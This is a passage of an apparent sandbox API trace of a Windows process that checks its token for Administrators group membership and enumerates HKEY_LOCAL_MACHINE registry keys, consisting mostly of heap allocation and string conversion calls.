TokenHandle=0xc4, TokenInformationClass=0x2, TokenInformation=0x123b8e8, TokenInformationLength=0x104, ReturnLength=0x18fbec | out: TokenInformation=0x123b8e8, ReturnLength=0x18fbec) returned 1 [0256.257] AllocateAndInitializeSid (in: pIdentifierAuthority=0x18fbfc, nSubAuthorityCount=0x2, nSubAuthority0=0x20, nSubAuthority1=0x220, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x18fbf4 | out: pSid=0x18fbf4*=0x4c4b00*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0256.257] EqualSid (pSid1=0x4c4b00*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x123b944*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000)) returned 0 [0256.257] EqualSid (pSid1=0x4c4b00*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x123b950*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x1), SubAuthority=0x0)) returned 0 [0256.257] EqualSid (pSid1=0x4c4b00*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x123b95c*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 0 [0256.257] EqualSid (pSid1=0x4c4b00*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x123b96c*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x6)) returned 0 [0256.257] EqualSid (pSid1=0x4c4b00*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x123b978*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x2), SubAuthority=0x1)) returned 0 [0256.257] EqualSid (pSid1=0x4c4b00*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x123b984*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb)) returned 0 [0256.257] EqualSid (pSid1=0x4c4b00*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x123b990*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xf)) returned 0 [0256.257] EqualSid (pSid1=0x4c4b00*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x123b99c*(Revision=0x1, SubAuthorityCount=0x6, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x50, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2c, [5]=0xbb))) returned 0 [0256.257] EqualSid (pSid1=0x4c4b00*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x123b9bc*(Revision=0x1, SubAuthorityCount=0x3, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x5, [1]=0x0, [2]=0x0))) returned 0 [0256.257] EqualSid (pSid1=0x4c4b00*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x123b9d0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x2), SubAuthority=0x0)) returned 0 [0256.257] EqualSid (pSid1=0x4c4b00*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x123b9dc*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0256.257] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123b8e8) returned 1 [0256.257] NtClose (Handle=0xc4) returned 0x0 [0256.258] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123b8e8 [0256.258] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x80) returned 0x123b930 [0256.259] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x280) returned 0x123b9b8 [0256.259] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0256.264] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x123b9b8, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0256.264] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x80) returned 0x123bc40 [0256.264] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0256.264] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123bce0 [0256.264] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x123bce0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0256.264] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123bd28 [0256.264] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123bce0) returned 1 [0256.264] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123bd28) returned 1 [0256.264] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123bc40) returned 1 [0256.264] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x123b9b8, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0256.264] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x80) returned 0x123bc40 [0256.264] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0256.264] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123bd28 [0256.264] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x123bd28, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0256.264] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123bce0 [0256.264] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123bd28) returned 1 [0256.264] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123bce0) returned 1 [0256.264] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123bc40) returned 1 [0256.265] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x123b9b8, cchName=0x104 | out: lpName="SAM") returned 0x0 [0256.265] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x80) returned 0x123bc40 [0256.265] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0256.265] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123bce0 [0256.265] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x123bce0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0256.265] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123bd28 [0256.265] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123bce0) returned 1 [0256.265] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123bd28) returned 1 [0256.265] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123bc40) returned 1 [0256.265] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x123b9b8, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0256.265] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x80) returned 0x123bc40 [0256.265] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0256.265] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123bd28 [0256.265] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x123bd28, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0256.265] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123bce0 [0256.265] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123bd28) returned 1 [0256.265] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123bce0) returned 1 [0256.265] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123bc40) returned 1 [0256.265] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x123b9b8, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0256.265] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x80) returned 0x123bc40 [0256.265] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0256.265] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123bce0 [0256.265] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x123bce0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0256.265] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123bd28 [0256.265] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123bce0) returned 1 [0256.265] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123bd28) returned 1 [0256.265] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123bc40) returned 1 [0256.265] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb84 | out: phkResult=0x18fb84*=0xc4) returned 0x0 [0256.265] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x184) returned 0x123d0c8 [0256.265] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123bd28 [0256.265] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123bce0 [0256.265] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123bd70 [0256.266] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123bdb8 [0256.266] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123be00 [0256.266] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123be48 [0256.266] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123be90 [0256.266] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123bed8 [0256.266] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123bf20 [0256.266] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123bf68 [0256.266] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123bfb0 [0256.266] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123bff8 [0256.266] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c040 [0256.266] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c088 [0256.266] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c0d0 [0256.266] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c118 [0256.266] RegCloseKey (hKey=0x80000002) returned 0x0 [0256.266] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x123b9b8, cchName=0x104 | out: lpName="ATI Technologies") returned 0x0 [0256.266] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x80) returned 0x123bc40 [0256.266] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ati technologies", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0256.266] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c160 [0256.266] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ati technologies", cchWideChar=16, lpMultiByteStr=0x123c160, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ati technologies", lpUsedDefaultChar=0x0) returned 16 [0256.266] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c1a8 [0256.266] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c160) returned 1 [0256.266] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c1a8) returned 1 [0256.266] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123bc40) returned 1 [0256.266] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x123b9b8, cchName=0x104 | out: lpName="CBSTEST") returned 0x0 [0256.266] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x80) returned 0x123bc40 [0256.266] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cbstest", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0256.266] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c1a8 [0256.266] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cbstest", cchWideChar=7, lpMultiByteStr=0x123c1a8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cbstest", lpUsedDefaultChar=0x0) returned 7 [0256.266] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c160 [0256.266] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c1a8) returned 1 [0256.266] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c160) returned 1 [0256.266] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123bc40) returned 1 [0256.266] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x123b9b8, cchName=0x104 | out: lpName="Classes") returned 0x0 [0256.266] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x80) returned 0x123bc40 [0256.267] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="classes", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0256.267] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c160 [0256.267] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="classes", cchWideChar=7, lpMultiByteStr=0x123c160, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="classes", lpUsedDefaultChar=0x0) returned 7 [0256.267] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c1a8 [0256.267] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c160) returned 1 [0256.267] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c1a8) returned 1 [0256.267] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123bc40) returned 1 [0256.267] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x123b9b8, cchName=0x104 | out: lpName="Clients") returned 0x0 [0256.267] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x80) returned 0x123bc40 [0256.267] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clients", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0256.267] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c1a8 [0256.267] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clients", cchWideChar=7, lpMultiByteStr=0x123c1a8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clients", lpUsedDefaultChar=0x0) returned 7 [0256.267] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c160 [0256.267] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c1a8) returned 1 [0256.267] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c160) returned 1 [0256.267] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123bc40) returned 1 [0256.267] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x123b9b8, cchName=0x104 | out: lpName="Intel") returned 0x0 [0256.267] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x80) returned 0x123bc40 [0256.267] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intel", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0256.267] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c160 [0256.267] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intel", cchWideChar=5, lpMultiByteStr=0x123c160, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="intel", lpUsedDefaultChar=0x0) returned 5 [0256.267] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c1a8 [0256.267] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c160) returned 1 [0256.267] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c1a8) returned 1 [0256.267] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123bc40) returned 1 [0256.267] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5, lpName=0x123b9b8, cchName=0x104 | out: lpName="Macromedia") returned 0x0 [0256.267] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x80) returned 0x123bc40 [0256.267] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="macromedia", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0256.267] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c1a8 [0256.267] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="macromedia", cchWideChar=10, lpMultiByteStr=0x123c1a8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="macromedia", lpUsedDefaultChar=0x0) returned 10 [0256.267] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c160 [0256.267] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c1a8) returned 1 [0256.267] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c160) returned 1 [0256.267] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123bc40) returned 1 [0256.267] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6, lpName=0x123b9b8, cchName=0x104 | out: lpName="Microsoft") returned 0x0 [0256.268] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x80) returned 0x123bc40 [0256.268] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0256.268] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c160 [0256.268] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft", cchWideChar=9, lpMultiByteStr=0x123c160, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="microsoft", lpUsedDefaultChar=0x0) returned 9 [0256.268] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c1a8 [0256.268] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c160) returned 1 [0256.268] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c1a8) returned 1 [0256.268] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123bc40) returned 1 [0256.268] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="Microsoft", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb84 | out: phkResult=0x18fb84*=0x38) returned 0x0 [0256.268] RegCloseKey (hKey=0xc4) returned 0x0 [0256.268] RegEnumKeyW (in: hKey=0x38, dwIndex=0x0, lpName=0x123b9b8, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0256.268] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x80) returned 0x123bc40 [0256.268] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0256.268] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c1a8 [0256.268] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x123c1a8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0256.268] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c160 [0256.268] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c1a8) returned 1 [0256.268] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c160) returned 1 [0256.268] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123bc40) returned 1 [0256.268] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1, lpName=0x123b9b8, cchName=0x104 | out: lpName="Active Setup") returned 0x0 [0256.268] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x80) returned 0x123bc40 [0256.268] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="active setup", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0256.268] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c160 [0256.268] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="active setup", cchWideChar=12, lpMultiByteStr=0x123c160, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="active setup", lpUsedDefaultChar=0x0) returned 12 [0256.268] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c1a8 [0256.268] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c160) returned 1 [0256.268] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c1a8) returned 1 [0256.268] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123bc40) returned 1 [0256.268] RegEnumKeyW (in: hKey=0x38, dwIndex=0x2, lpName=0x123b9b8, cchName=0x104 | out: lpName="ADs") returned 0x0 [0256.268] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x80) returned 0x123bc40 [0256.268] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ads", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0256.268] 